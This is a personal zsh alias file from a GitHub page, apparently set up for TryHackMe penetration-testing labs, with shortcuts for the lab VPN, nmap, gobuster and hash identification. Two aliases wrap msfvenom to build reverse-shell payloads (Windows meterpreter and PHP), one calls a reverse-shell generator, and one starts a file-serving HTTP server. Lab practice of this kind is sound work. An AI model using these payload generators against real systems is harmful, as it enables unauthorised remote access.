-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path.zsh_alias
45 lines (35 loc) · 1.28 KB
/
.zsh_alias
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
alias ucfg='nano ~/.zsh_alias'
alias uref='source ~/.zsh_alias'
export thm='/media/sf_thm'
export wrdls='/usr/share/wordlists'
export secls='/usr/share/seclists'
export tip=$(ip -f inet addr show tun0 2>/dev/null | awk '/inet / {print $2}' | rev | cut -c 4- | rev)
alias sshon='sudo systemctl start ssh.socket'
alias sshoff='sudo systemctl stop ssh.socket'
alias thm='sudo openvpn /media/sf_thm/vpn/thm.ovpn'
alias rsg='python ~/Downloads/revshellgen/revshellgen.py'
alias winsh='function _winsh(){
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=$1 lport=$2 -f $3 > $4.$3 2>/dev/null};
_winsh'
alias phpsh='function _phpsh(){
msfvenom -p php/reverse_php lhost=$1 lport=$2 -f raw > $3.php};
_phpsh'
alias gust='function _gust(){
gobuster dir -u $1 -w $2};
_gust'
alias scan='function _scan(){
if [ $2=='ms' ]; then
ms='-Pn'
else
ms=''
fi
sudo nmap -sC -sV -O -A -oN nmap.txt $ms $1;
less -R nmap.txt};
_scan'
alias mingx86='x86_64-w64-mingw32-gcc'
alias ida='/home/thm/idafree-7.7/ida64'
alias hid2='/media/sf_thm/tools/scripts/hashid.py'
alias pysrv='python3 -m http.server 8090'
alias msfg='java -jar /media/sf_thm/tools/armitage/release/unix/armitage.jar'
alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'"
alias rot47="tr '\!-~' 'P-~\!-O'"